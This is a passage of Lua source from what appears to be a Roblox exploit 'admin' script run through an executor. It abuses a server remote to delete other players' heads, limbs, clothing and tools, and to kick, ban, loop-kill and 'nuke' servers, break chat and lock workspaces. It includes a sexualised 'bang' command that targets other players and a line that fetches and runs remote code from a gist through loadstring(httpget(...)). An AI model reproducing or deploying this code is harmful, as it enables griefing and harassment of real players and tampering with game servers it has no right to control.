if localPlayer.Backpack:FindFirstChild("wacky destroy tool") or (character and character:FindFirstChild("wacky destroy tool")) then
return
end
local selection
local destroyTool = Instance.new("Tool", localPlayer.Backpack)
destroyTool.RequiresHandle = false
destroyTool.CanBeDropped = false
destroyTool.Name = "wacky destroy tool"
destroyTool.ToolTip = "Click to destroy"
destroyTool.TextureId = "rbxasset://Textures/Hammer.png"
local selectionLoop
destroyTool.Equipped:Connect(function()
selection = Instance.new("SelectionBox",localPlayer.PlayerGui)
table.insert(genv.connections, selection)
selectionLoop = rs.Heartbeat:Connect(function()
local target = mouse.Target
if target == nil then
selection.Adornee = nil
return
end
if selection.Parent == nil then return end
selection.Adornee = target
end)
table.insert(genv.connections, selectionLoop)
end)
destroyTool.Unequipped:Connect(function()
if not selection then return end
selection:Destroy()
end)
destroyTool.Activated:Connect(function()
local target = mouse.Target
if target == nil then return end
delete(target)
end)
local unweldTool = Instance.new("Tool", localPlayer.Backpack)
unweldTool.RequiresHandle = false
unweldTool.CanBeDropped = false
unweldTool.Name = "wacky unweld tool"
unweldTool.ToolTip = "Click to unweld"
unweldTool.TextureId = "rbxassetid://4989743039"
local selectionLoop
unweldTool.Equipped:Connect(function()
selection = Instance.new("SelectionBox",localPlayer.PlayerGui)
table.insert(genv.connections, selection)
selectionLoop = rs.Heartbeat:Connect(function()
local target = mouse.Target
if target == nil then
selection.Adornee = nil
return
end
if selection.Parent == nil then return end
selection.Adornee = target
end)
table.insert(genv.connections, selectionLoop)
end)
unweldTool.Unequipped:Connect(function()
if not selection then return end
selection:Destroy()
end)
unweldTool.Activated:Connect(function()
local target = mouse.Target
if target == nil then return end
for i,v in pairs(target:GetDescendants()) do
if not (v:IsA("Weld") or v:IsA("Attachment")) then continue end
delete(v)
end
end)
end, {}, 3)
addCommand("gun", function()
sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if localPlayer.Backpack:FindFirstChild("wacky gun tool") or (character:FindFirstChild("wacky gun tool")) then
return
end
local gunTool = Instance.new("Tool", localPlayer.Backpack)
gunTool.RequiresHandle = false
gunTool.CanBeDropped = false
gunTool.Name = "wacky gun tool"
gunTool.ToolTip = "Click a player to \"shoot\" them"
gunTool.TextureId = "rbxassetid://822278164"
local handle = Instance.new("Part", gunTool)
handle.Name = "Handle"
handle.Transparency = 1
handle.CanCollide = false
handle.Size = Vector3.new(0.001,0.001,0.001)
handle.Massless = true
local track
gunTool.Activated:Connect(function()
local target = mouse.Target
if target == nil then return end
for i,v in pairs(players:GetPlayers()) do
local char = v.Character
if char == nil then continue end
for _, part in pairs(char:GetDescendants()) do
if (not part:IsA("BasePart")) or part ~= target then continue end
if humanoid.RigType == Enum.HumanoidRigType.R6 then
track.TimePosition = 0.4
task.wait(.25)
track.TimePosition = 0.18
end
local arg = {players:GetPlayerFromCharacter(char)}
runCommand("ragdoll", arg)
task.wait(1.5)
runCommand("kill", arg)
break
end
end
end)
if humanoid.RigType ~= Enum.HumanoidRigType.R6 then return end
local animation = Instance.new("Animation")
animation.AnimationId = "rbxassetid://33169583"
track = humanoid:LoadAnimation(animation)
track.Priority = Enum.AnimationPriority.Movement
gunTool.Equipped:Connect(function()
track:Play()
task.wait()
track:AdjustSpeed(0)
track.TimePosition = 0.18
track:AdjustWeight(0.95)
end)
gunTool.Unequipped:Connect(function()
track:Stop()
end)
end, {}, 3)
addCommand("punch", function()
sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
local isR15 = humanoid.RigType == Enum.HumanoidRigType.R15
local arm = (isR15 and character:FindFirstChild("RightLowerArm")) or (character:FindFirstChild("Right Arm"))
if not arm then return end
if localPlayer.Backpack:FindFirstChild("wacky punch tool") or (character:FindFirstChild("wacky punch tool")) then
return
end
local punchTool = Instance.new("Tool", localPlayer.Backpack)
punchTool.RequiresHandle = false
punchTool.CanBeDropped = false
punchTool.Name = "wacky punch tool"
punchTool.ToolTip = "Click to punch"
punchTool.TextureId = "rbxassetid://14881411853"
local animation = Instance.new("Animation")
animation.AnimationId = (isR15 and "rbxassetid://846744780") or ("rbxassetid://204062532")
local track = humanoid:LoadAnimation(animation)
local attacking = false
local touchedConnection = arm.Touched:Connect(function(part)
if not attacking then return end
local parent = part.Parent
if not parent then return end
local target = players:GetPlayerFromCharacter(parent)
if (not target) or (target == localPlayer) then return end
local hum = parent:FindFirstChildOfClass("Humanoid")
if hum and hum.Health <= 0 then return end
runCommand("kill",{target})
end)
punchTool.Activated:Connect(function()
if attacking then return end
track:Play()
task.wait(isR15 and 0.2 or 0.165)
attacking = true
track.Ended:Wait()
attacking = false
end)
end, {"slap"}, 3)
table.insert(genv.connections,players.PlayerAdded:Connect(function(plr)
if (slockEnabled or bans[tostring(plr.UserId)]) then
task.wait()
delete(plr)
end
end))
addCommand("ban", function(plrs, input)
for i,v in pairs(plrs) do
if v == localPlayer then continue end
if bans[tostring(v.UserId)] then continue end
bans[tostring(v.UserId)] = input
delete(v)
end
end, {}, 2)
addCommand("unban", function(plrs, input)
for i,v in pairs(bans) do
if v == input or i == input then
bans[i] = nil
end
end
end, {}, 2)
addCommand("kick", function(plrs)
for i,v in pairs(plrs) do
delete(v)
end
end, {}, 2)
addCommand("kill", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local humanoid = char:FindFirstChildOfClass("Humanoid")
local head = char:FindFirstChild("Head")
if head == nil then continue end
local neck = head:FindFirstChild("Neck")
if neck == nil then
local torso = char:FindFirstChild("Torso")
if torso and torso:FindFirstChild("Neck") then neck = char.Torso.Neck end
end
if humanoid and humanoid.RequiresNeck and neck then
delete(neck)
continue
end
delete(head)
end
end, {}, 1)
table.insert(genv.connections, rs.Heartbeat:Connect(function()
local toKill = {}
for i,v in pairs(loopkills) do
if v.Parent ~= players then table.remove(toKill, i) continue end
if not v.Character then continue end
table.insert(toKill, v)
end
runCommand("kill", toKill)
end))
addCommand("loopkill", function(plrs)
for i,v in pairs(plrs) do
if table.find(loopkills, v) then continue end
table.insert(loopkills, v)
end
end, {}, 1)
addCommand("unloopkill", function(plrs, input)
if input:lower() == "all" then loopkills = {} return end
for i,v in pairs(loopkills) do
if not table.find(plrs, v) then continue end
table.remove(loopkills, i)
end
end, {}, 1)
addCommand("naked", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local pants = char:FindFirstChild("Pants")
local shirt = char:FindFirstChild("Shirt")
local tshirt = char:FindFirstChild("Shirt Graphic")
if pants then delete(pants) end
if shirt then delete(shirt) end
if tshirt then delete(tshirt) end
for _,instance in pairs(char:GetDescendants()) do
if not instance:IsA("WrapLayer") then continue end
delete(instance.Parent.Parent)
end
end
end, {"noclothing"}, 1)
addCommand("bald", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
for _,instance in pairs(char:GetChildren()) do
if not instance:IsA("Accessory") then continue end
delete(instance)
end
end
end, {"nohats"}, 1)
addCommand("nolimbs", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
for _,instance in pairs(char:GetChildren()) do
for i,v in pairs(limbs) do
if not instance.Name:lower():find(v) then continue end
delete(instance)
end
end
end
end, {}, 1)
addCommand("noface", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local head = char:FindFirstChild("Head")
if head == nil then continue end
for _,instance in pairs(head:GetChildren()) do
if not instance:IsA("Decal") then continue end
delete(instance)
end
end
end, {}, 1)
addCommand("stripidentity", function(plrs)
runCommand("noface",plrs)
runCommand("naked", plrs)
runCommand("bald", plrs)
end, {"strip", "noidentity"}, 1)
addCommand("korblox", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if not char then continue end
local r6Leg = char:FindFirstChild("Right Leg")
if r6Leg then
delete(r6Leg)
continue
end
local r15Leg = char:FindFirstChild("RightUpperLeg")
if not r15Leg then continue end
delete(r15Leg)
end
end, {}, 1)
addCommand("rescale", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if not char then continue end
local hum = char:FindFirstChildOfClass("Humanoid")
if not hum then continue end
if hum.RigType ~= Enum.HumanoidRigType.R15 then continue end
local function rm()
for i,v in pairs(char:GetDescendants()) do
if not v:IsA("BasePart") then continue end
if v.Name == "Handle" or v.Name == "Head" then
if not char.Head:FindFirstChild("OriginalSize") then continue end
delete(char.Head.OriginalSize)
continue
end
for i,cav in pairs(v:GetDescendants()) do
if not cav:IsA("Attachment") then continue end
local op = cav:FindFirstChild("OriginalPosition")
if not op then continue end
delete(op)
task.wait(.1)
end
local os = v:FindFirstChild("OriginalSize")
if os then
delete(os)
task.wait(.1)
end
local apst = v:FindFirstChild("AvatarPartScaleType")
if not apst then continue end
delete(apst)
task.wait(.1)
end
end
for i,v in pairs(atts) do
rm()
task.wait(.1)
local scale = hum:FindFirstChild(v)
if not scale then continue end
delete(scale)
task.wait(.1)
end
end
end, {"morph"}, 1)
addCommand("ragdoll", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local hrp = char:FindFirstChild("HumanoidRootPart")
if hrp == nil then continue end
delete(hrp)
end
end, {"nohrp"}, 1)
addCommand("sink", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if humanoid == nil then continue end
delete(humanoid)
end
end, {"nohum","nohumanoid"}, 2)
addCommand("freeze", function(plrs)
runCommand("ragdoll", plrs)
runCommand("noanims", plrs)
end, {}, 2)
addCommand("noanims", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if humanoid == nil then continue end
local animator = humanoid:FindFirstChildOfClass("Animator")
if animator == nil then continue end
delete(animator)
local animate = char:FindFirstChild("Animate")
if animate == nil then continue end
delete(animate)
end
end, {}, 1)
addCommand("invisible", function(plrs)
local ignoreList = {"UpperTorso", "Head", "HumanoidRootPart", "Humanoid"}
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if humanoid == nil then continue end
if humanoid.RigType ~= Enum.HumanoidRigType.R15 then continue end
for _,instance in pairs(char:GetChildren()) do
if table.find(ignoreList, instance.Name) then continue end
delete(instance)
end
if humanoid.RootPart then humanoid.RootPart.Transparency = 0.6 end
end
end, {"invis"}, 1)
addCommand("legwalk", function(plrs)
local deleteList = {"LeftUpperArm","RightUpperArm"}
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if humanoid == nil then continue end
if humanoid.RigType ~= Enum.HumanoidRigType.R15 then continue end
local upperTorso = char:FindFirstChild("UpperTorso")
if upperTorso == nil then continue end
local waist = upperTorso:FindFirstChild("Waist")
if waist == nil then continue end
for _,instance in pairs(char:GetChildren()) do
if not (table.find(deleteList, instance.Name) or instance:IsA("Accessory")) then continue end
delete(instance)
end
delete(waist)
end
end, {"split"}, 1)
addCommand("fakechat", function(plrs)
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid.RigType ~= Enum.HumanoidRigType.R15 then return end
local hrp = character:FindFirstChild("HumanoidRootPart")
if not (humanoid and hrp) then return end
local target
for i,v in pairs(plrs) do
if v == localPlayer then continue end
if not v.Character then continue end
if not v.Character:FindFirstChild("HumanoidRootPart") then continue end
target = v
break
end
if not target then return end
runCommand("unbang")
runCommand("view", {target})
hrp.CFrame = CFrame.new(0,2^63-3,0)
task.wait(0.1)
runCommand("invis", {localPlayer})
local followLoop = rs.Heartbeat:Connect(function()
if target.Character == nil then return end
local thrp = target.Character:FindFirstChild("HumanoidRootPart")
local thum = target.Character:FindFirstChild("Humanoid")
if thrp == nil then return end
local thrpVel = thrp.Velocity
local thrpPos = thrp.Position
local predictedCF = CFrame.new(thrpPos.X + thrpVel.X/4,thrpPos.Y,thrpPos.Z + thrpVel.Z/4)
hrp.AssemblyAngularVelocity = Vector3.zero
hrp.AssemblyLinearVelocity = Vector3.zero
hrp.CFrame = (predictedCF*CFrame.new(0,3,-1.5)) * CFrame.Angles(math.rad(90),0,0)
end)
table.insert(genv.connections,followLoop)
table.insert(genv.connections,humanoid.Died:Connect(function()
if followLoop then followLoop:Disconnect() end
runCommand("unview")
end))
end, {}, 3)
addCommand("notools", function(plrs)
for i,v in pairs(plrs) do
for _, instance in pairs(v:FindFirstChildOfClass("Backpack"):GetChildren()) do
if not instance:IsA("BackpackItem") then continue end
delete(instance)
end
local char = v.Character
if char == nil then continue end
for _, instance in pairs(char:GetChildren()) do
if not instance:IsA("BackpackItem") then continue end
delete(instance)
end
end
end, {}, 1)
addCommand("stealtools", function(plrs)
if not character then return end
local lpHumanoid = character:FindFirstChildOfClass("Humanoid")
if not lpHumanoid then return end
for i,plr in pairs(plrs) do
local char = plr.Character
if char == nil then continue end
local head = char:FindFirstChild("Head")
if head == nil then continue end
delete(head)
task.wait(0.05)
local humanoid = char:FindFirstChildOfClass("Humanoid")
if humanoid then
delete(humanoid)
end
repeat task.wait() until char:FindFirstChildOfClass("Humanoid") == nil
task.wait(.05)
for i,v in pairs(char:GetChildren()) do
if not (v:IsA("BackpackItem") and v:FindFirstChild("Handle")) then continue end
debugPrint(v.Name)
v.Handle.CFrame = character.Humanoid.RootPart.CFrame
lpHumanoid:EquipTool(v)
end
end
end, {}, 3)
addCommand("punish", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
delete(char)
end
end, {}, 2)
addCommand("bang", function(plrs) -- credit to the Infinite Yield team
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
runCommand("unbang")
local target
for i,v in pairs(plrs) do
if not v.Character then continue end
if not v.Character:FindFirstChildOfClass("Humanoid") then continue end
if not v.Character.Humanoid.RootPart then continue end
target = v
break
end
bangAnim = Instance.new("Animation")
bangAnim.AnimationId = (humanoid.RigType ~= Enum.HumanoidRigType.R15) and "rbxassetid://148840371" or "rbxassetid://5918726674"
bang = humanoid:LoadAnimation(bangAnim)
bang:Play(0.1, 1, 1)
bang:AdjustSpeed(3)
bangLoop = nil
bangDied = nil;bangDied = humanoid.Died:Connect(function()
bang:Stop()
bangAnim:Destroy()
bangDied:Disconnect()
if bangLoop then bangLoop:Disconnect() end
end)
if target == localPlayer then return end
bangLoop = rs.Stepped:Connect(function()
if target.Character == nil then return end
local hum = target.Character:FindFirstChildOfClass("Humanoid")
if hum == nil then return end
local root = hum.RootPart
if root == nil then return end
character:PivotTo(root.CFrame * CFrame.new(0, 0.75, 1.1))
end)
table.insert(genv.connections,bangLoop)
end, {}, 3)
addCommand("unbang", function()
if bangDied then bangDied:Disconnect() end
if bang then bang:Stop() end
if bangAnim then bangAnim:Destroy() end
if bangLoop then bangLoop:Disconnect() end
end, {}, 3)
addCommand("clearstarter", function()
local whitelist = {"BubbleChat", "ChatScript", "PlayerScriptsLoader", "RbxCharacterSounds", "PlayerModule"}
for i,v in pairs(sgui:GetChildren()) do
delete(v)
end
for i,v in pairs(game:GetService("StarterPack"):GetChildren()) do
delete(v)
end
for i,v in pairs(game:GetService("StarterPlayer"):FindFirstChildOfClass("StarterPlayerScripts"):GetChildren()) do
if table.find(whitelist, v.Name) then continue end
delete(v)
end
for i,v in pairs(game:GetService("StarterPlayer"):FindFirstChildOfClass("StarterCharacterScripts"):GetChildren()) do
delete(v)
end
end, {"clearstarters"}, 1)
addCommand("cleargui", function()
for i,v in pairs(sgui:GetChildren()) do
delete(v)
end
end,{"clearsgui", "clearguis"}, 1)
addCommand("nochat",function()
local chatEvents = rStorage:FindFirstChild("DefaultChatSystemChatEvents")
if chatEvents then return delete(chatEvents) end
if not modernChat then return end
for i,v in pairs(game:GetService("TextChatService"):GetChildren()) do
delete(v)
end
end, {"breakchat"}, 2)
addCommand("nostats", function(plrs)
for i,v in pairs(plrs) do
local stats = v:FindFirstChild("leaderstats")
if stats == nil then continue end
delete(stats)
end
end, {}, 1)
addCommand("deletename", function(plrs, input)
for i,v in pairs(game:GetDescendants()) do
local match = v.Name:lower():gsub(" ","")
if not match:match(input:lower()) then continue end
delete(v)
end
end, {}, 2)
addCommand("clearstorage",function()
for i,v in pairs(rStorage:GetChildren()) do
if (v == genv.foundRemote) or (modernChat == false and v:IsA("Folder") and v.Name == "DefaultChatSystemChatEvents") then continue end
delete(v)
end
end, {"clearrs","clearreps", "clearreplicatedstorage"}, 1)
addCommand("clearws", function()
for i,v in pairs(workspace:GetChildren()) do
if players:GetPlayerFromCharacter(v) then continue end
delete(v)
end
end, {}, 2)
addCommand("lockws", function()
for i,v in pairs(workspace:GetChildren()) do
if players:FindFirstChild(v.Name) then continue end
local con = v.ChildAdded:Connect(function(instance)
if players:FindFirstChild(instance.Parent.Name) then return end
task.wait()
delete(instance)
end)
table.insert(genv.connections,con)
table.insert(wslocks,con)
end
local con = workspace.ChildAdded:Connect(function(instance)
if players:FindFirstChild(instance.Name) then return end
task.wait()
delete(instance)
end)
table.insert(genv.connections,con)
table.insert(wslocks,con)
end, {}, 1)
addCommand("unlockws", function()
for i,v in pairs(wslocks) do
v:Disconnect()
end
end, {}, 1)
addCommand("notextures", function()
for i,v in pairs(workspace:GetChildren()) do
if players:GetPlayerFromCharacter(v) then continue end
if (v:IsA("Decal") or v:IsA("Texture")) then delete(v) end
for _,instance in pairs(v:GetDescendants()) do
if not (instance:IsA("Decal") or instance:IsA("Texture")) then continue end
delete(instance)
end
end
end, {}, 1)
addCommand("baseplate", function()
if not character then return end
local hum = character:FindFirstChildOfClass("Humanoid")
if not hum then return end
local hrp = hum.RootPart
if not hrp then return end
local function isPlate(instance)
if not (instance:IsA("BasePart")) then return end
local distance = (instance.Position - hrp.Position).Magnitude
local size = instance.Size.Magnitude
if distance <= 7 or size >= 1000 or instance.Name:lower():gsub(" ",""):find("baseplate") then return true end
return false
end
for i,v in pairs(workspace:GetChildren()) do
if players:GetPlayerFromCharacter(v) then continue end
if isPlate(v) == false then delete(v) continue end
for _,instance in pairs(v:GetDescendants()) do
if isPlate(instance) then continue end
delete(instance)
end
end
end,{"platform"}, 2)
addCommand("nospawns", function()
for i,v in pairs(workspace:GetDescendants()) do
if not v:IsA("SpawnLocation") then continue end
delete(v)
end
end, {}, 1)
addCommand("unweldws", function()
for i,v in pairs(workspace:GetChildren()) do
if players:GetPlayerFromCharacter(v) then continue end
for _, instance in pairs(v:GetDescendants()) do
if not (instance:IsA("Weld") or instance:IsA("Attachment")) then continue end
delete(instance)
end
if not (v:IsA("Weld") or v:IsA("Attachment")) then continue end
delete(v)
end
end, {}, 1)
addCommand("noseats", function()
for i,v in pairs(workspace:GetChildren()) do
if players:GetPlayerFromCharacter(v) then continue end
for _, instance in pairs(v:GetDescendants()) do
if not (instance:IsA("VehicleSeat") or instance:IsA("Seat")) then continue end
delete(instance)
end
if not (v:IsA("VehicleSeat") or v:IsA("Seat")) then continue end
delete(v)
end
end, {}, 1)
addCommand("nosounds",function()
for i,v in pairs(game:GetDescendants()) do
if not v:IsA("Sound") then continue end
delete(v)
end
end, {}, 1)
addCommand("clearlighting",function()
for i,v in pairs(game:GetService("Lighting"):GetChildren()) do
delete(v)
end
end, {}, 1)
addCommand("shutdown", function()
for i,v in pairs(players:GetPlayers()) do
if i == 1 then continue end
delete(v)
end
delete(localPlayer)
end, {}, 2)
addCommand("nuke",function()
for i,v in pairs(workspace:GetChildren()) do
delete(v)
end
for i,v in pairs(players:GetPlayers()) do
if i == 1 then continue end
delete(v)
end
end, {}, 2)
addCommand("wither",function(plrs)
local function decay(plr)
local char = plr.Character
if not char then return end
local limbs = {}
local shuffledLimbs = {}
for i,v in pairs(char:GetChildren()) do
if (not v:IsA("BasePart")) or (v.Name:find("Torso") or v.Name == "Head" or v.Name == "HumanoidRootPart") then continue end
table.insert(limbs, v)
end
for i = 1, #limbs do
local rng = math.random(#limbs)
table.insert(shuffledLimbs , limbs[rng])
table.remove(limbs, rng)
end
for i,v in pairs(shuffledLimbs) do
if not char:FindFirstChild(v.Name) then continue end
if plr.Character ~= char then return end
delete(v)
table.remove(limbs,i)
task.wait(1)
end
local head = char:FindFirstChild("Head")
if not head then return end
delete(head)
task.wait(0.1)
for i,v in pairs(char:GetChildren()) do
if not v:IsA("BasePart") then continue end
delete(v)
end
end
for i,v in pairs(plrs) do
task.spawn(decay,v)
end
end, {"decay"}, 1)
local function infectPlayer(plr)
local char = plr.Character
if not char then return end
debugPrint(`{plr.Name} was infected`)
local limbs = {}
local limbAmount
local shuffledLimbs = {}
for i,v in pairs(char:GetChildren()) do
if (not v:IsA("BasePart")) or (v.Name:find("Torso") or v.Name == "Head" or v.Name == "HumanoidRootPart") then continue end
table.insert(limbs, v)
end
limbAmount = #limbs
for i = 1, #limbs do
local rng = math.random(#limbs)
table.insert(shuffledLimbs , limbs[rng])
table.remove(limbs, rng)
end
for i,v in pairs(shuffledLimbs) do
task.wait(45/limbAmount)
local infectedIndex = table.find(infected,plr)
if not char:FindFirstChild(v.Name) then task.wait(45/limbAmount) continue end
if plr.Character ~= char then return end
delete(v)
table.remove(limbs,i)
end
local head = char:FindFirstChild("Head")
if head then
delete(head)
task.wait(0.1)
end
for i,v in pairs(char:GetChildren()) do
if not v:IsA("BasePart") then continue end
delete(v)
end
table.remove(infected,table.find(infected,plr))
end
table.insert(genv.connections,rs.Heartbeat:Connect(function()
for i,v in pairs(infected) do
local char = v.Character
if not char then continue end
local hum = char:FindFirstChild("Humanoid")
if hum and hum.Health <= 0 then table.remove(infected,table.find(infected,v)) continue end
local hrp = hum and hum.RootPart or char:FindFirstChild("HumanoidRootPart")
if not hrp then continue end
for i,v in pairs(players:GetPlayers()) do
if table.find(infected,v) then continue end
local tchar = v.Character
if not tchar then continue end
local thum = tchar:FindFirstChild("Humanoid")
local thrp = thum and thum.RootPart or tchar:FindFirstChild("HumanoidRootPart")
if not thrp then continue end
if (thrp.Position - hrp.Position).Magnitude >= 5 then continue end
table.insert(infected, v)
task.spawn(infectPlayer,v)
end
end
end))
addCommand("virus",function(plrs)
for i,v in pairs(plrs) do
table.insert(infected,v)
task.spawn(infectPlayer,v)
end
end, {"infect"}, 1)
addCommand("unvirus", function(plrs)
for i,v in pairs(plrs) do
local index = table.find(infected,v)
if index then table.remove(infected,index) end
end
end, {"uninfect", "cure"}, 1)
table.insert(genv.connections, rs.Heartbeat:Connect(function()
for name, range in pairs(killauras) do
local plr = players:FindFirstChild(name)
if not plr then killauras[name] = nil continue end
local char = plr.Character
if not char then continue end
local pos = char:GetPivot().Position
for i,v in pairs(players:GetPlayers()) do
if v == plr then continue end
local tchar = v.Character
if not tchar then continue end
local tpos = tchar:GetPivot().Position
local distance = (pos - tpos).Magnitude
if distance > range then continue end
local hum = tchar:FindFirstChild("Humanoid")
if hum and hum.Health <= 0 then continue end
runCommand("kill",{v})
end
end
end))
addCommand("killaura",function(plrs, input)
local plrs = (#plrs > 0 and plrs) or ({localPlayer})
local split = input:split(" ")
local range = tonumber(split[#split]) or 10
for i,v in pairs(plrs) do
killauras[v.Name] = range
end
end, {"aura"}, 1)
addCommand("unkillaura",function(plrs)
for i,v in pairs(plrs) do
killauras[v.Name] = nil
end
end, {"unaura"}, 1)
addCommand("serverlock",function()
slockEnabled = true
end, {"slock"}, 2)
addCommand("unserverlock", function()
slockEnabled = false
end, {"unslock"}, 2)
addCommand("close", abort, {}, 3)
local flyLoop
local flySpeed = 50
addCommand("fly",function() -- original made by apeyton
local hum = character:FindFirstChildOfClass("Humanoid")
if not hum then return end
local hrp = character:FindFirstChild("HumanoidRootPart")
if not hrp then return end
hum.PlatformStand = true
hrp.Anchored = true
if flyLoop then flyLoop:Disconnect() end
flyLoop = rs.Heartbeat:Connect(function(deltaTime)
local moveDir = hum.MoveDirection * (flySpeed * deltaTime)
local hrpCF = hrp.CFrame
local cameraCF = camera.CFrame
local cameraOffset = hrpCF:ToObjectSpace(cameraCF).Position
cameraCF = cameraCF * CFrame.new(-cameraOffset.X, -cameraOffset.Y, -cameraOffset.Z + 1)
local cameraPos = cameraCF.Position
local hrpPos = hrpCF.Position
local objectSpaceVelocity = CFrame.new(cameraPos, Vector3.new(hrpPos.X, cameraPos.Y, hrpPos.Z)):VectorToObjectSpace(moveDir)
hrp.CFrame = CFrame.new(hrpPos) * (cameraCF - cameraPos) * CFrame.new(objectSpaceVelocity)
end)
end, {}, 3)
addCommand("unfly",function()
if not flyLoop then return end
flyLoop:Disconnect()
local hum = character:FindFirstChildOfClass("Humanoid")
if hum then hum.PlatformStand = false end
local hrp = character:FindFirstChild("HumanoidRootPart")
if hrp then hrp.Anchored = false end
end, {}, 3)
addCommand("flyspeed",function(plrs, input)
flySpeed = tonumber(input) or 50
end, {}, 3)
addCommand("walkspeed", function(plrs, input)
local speed = tonumber(input) or 16
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid then return end
humanoid.WalkSpeed = speed
end, {"speed", "ws"}, 3)
addCommand("jumppower", function(plrs, input)
local jp = tonumber(input) or 50
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid then return end
humanoid.JumpPower = jp
end, {"jp"}, 3)
local noclipLoop
addCommand("noclip", function()
if noclipLoop then noclipLoop:Disconnect() end
noclipLoop = rs.Stepped:Connect(function()
for i,v in pairs(character:GetDescendants()) do
if not (v:IsA("BasePart") and v.CanCollide) then continue end
v.CanCollide = false
end
end)
end, {"nc"}, 3)
addCommand("clip",function()
if noclipLoop then noclipLoop:Disconnect() end
end, {"c"}, 3)
-- credits to @xyzkade and @deuces1961 for Kade's reanim as a base
local function loadReanim()
local char = localPlayer.Character or localPlayer.CharacterAdded:Wait()
local hum = char:WaitForChild("Humanoid")
local simRadius = gethiddenproperty and gethiddenproperty(localPlayer,"SimulationRadius")
local requiredRadius = 20
local isR15 = hum.RigType == Enum.HumanoidRigType.R15
local forcefield = char:FindFirstChildOfClass("ForceField")
local fakeHum = hum:Clone()
local hrp = char:WaitForChild("HumanoidRootPart")
local hrpCF = hrp.CFrame
local stopAlign = false
local stopAntiVoid = false
local limbs = {}
local hatHandles = {}
local reanimConnections = {}
runCommand("clip")
if simRadius and simRadius < requiredRadius then
repeat
notify("Please wait",`Waiting for bigger SimulationRadius ({tostring(math.floor(simRadius))}/{tostring(requiredRadius)})`, 2)
task.wait(2)
until gethiddenproperty(localPlayer,"SimulationRadius") >= requiredRadius
if localPlayer.Character == nil or localPlayer.Character ~= char or hum.Parent == nil or hum.Health <= 0 then return end
end
if forcefield then forcefield:Destroy() end
char.Archivable = true
local rig = (not isR15) and char:Clone()
if isR15 then
local canGetObjects, loadedRig = pcall(function() return game:GetObjects("rbxassetid://18418211383")[1] end)
local r6Rig = isTesting and rStorage:WaitForChild("R6Rig") or canGetObjects and loadedRig or loadstring(httpget("https://gist.githubusercontent.com/someunknowndude/ad264038a91f7fa11bec2f67dad3feaf/raw"))()
local humDesc = players:GetCharacterAppearanceAsync(localPlayer.UserId)
local r6Head = r6Rig.Head
local r15Head = char.Head
local surfaceAppearance = r15Head:FindFirstChildOfClass("SurfaceAppearance")
local face = r15Head:FindFirstChild("face")
if surfaceAppearance then
surfaceAppearance:Clone().Parent = r6Head
else
if face then r6Head.face.Texture = face.Texture end
r6Head.face.Transparency = 0
end
for i,v in pairs(r15Head:GetChildren()) do
if not v:IsA("Attachment") then continue end
v:Clone().Parent = r6Head
end
for i,v in pairs(humDesc:GetDescendants()) do
if v:IsA("BodyColors") or v:IsA("CharacterMesh") or v:IsA("ShirtGraphic") then
v.Parent = r6Rig
continue
end
if v:IsA("Accessory") or v:IsA("Hat") then
r6Rig:WaitForChild("Humanoid"):AddAccessory(v)
end
end
rig = r6Rig
else
local mesh = char.Head:FindFirstChildOfClass("SpecialMesh")
local face = char.Head:FindFirstChild("face")
if mesh and face then
delete(face)
end
end
local rigHRP = rig:WaitForChild("HumanoidRootPart")
local rigHum = rig:FindFirstChild("Humanoid")
rig.Name = "wacky reanim rig"
for i,v in pairs(char:GetChildren()) do
if not v:IsA("BasePart") then continue end
table.insert(limbs, {v,rig[v.Name]})
end
local accessories = hum:GetAccessories()
local rigAccessories = rigHum:GetAccessories()
for i,v in pairs(accessories) do
if not isR15 then
table.insert(hatHandles,{v.Handle,rigAccessories[i].Handle})
continue
end
for _,rigAcc in pairs(rigAccessories) do
local handle = rigAcc.Handle
local mesh = handle:FindFirstChildOfClass("SpecialMesh") or handle
local texture = handle == mesh and mesh.TextureID or mesh.TextureId
if not (rigAcc.Name == v.Name and mesh.MeshId == v.Handle.MeshId and texture == v.Handle.TextureID) then continue end
table.insert(hatHandles,{v.Handle,rigAcc.Handle})
continue
end
end
local clock = os and os.clock or tick
local cos = math.cos
local sin = math.sin
local cfNew = CFrame.new
local cfZero = CFrame.identity
local v3New = Vector3.new
local v3Zero = Vector3.zero
local changedMaxSimRad = pcall(sethiddenproperty, localPlayer, "MaximumSimulationRadius", 1000)
local changedSimRad = pcall(sethiddenproperty, localPlayer, "SimulationRadius", 1000)
local netlessCF = cfZero
local sineValue = 0
local function align(part0, part1, offset)
if stopAlign then return end
if part0 and part0.Parent and part1 and part1.Parent then
local part0_mass = part1.Mass * 5
part0.AssemblyLinearVelocity = v3New(part1.AssemblyLinearVelocity.X * part0_mass, sineValue, part1.AssemblyLinearVelocity.Z * part0_mass)
part0.AssemblyAngularVelocity = part1.AssemblyAngularVelocity
if isnetworkowner(part0) then
part0.CFrame = part1.CFrame * offset
end
end
end
local function setCamera(model)
local oldCamCF = camera.CFrame
camera.CameraSubject = model.Humanoid
camera:GetPropertyChangedSignal("CFrame"):Once(function()
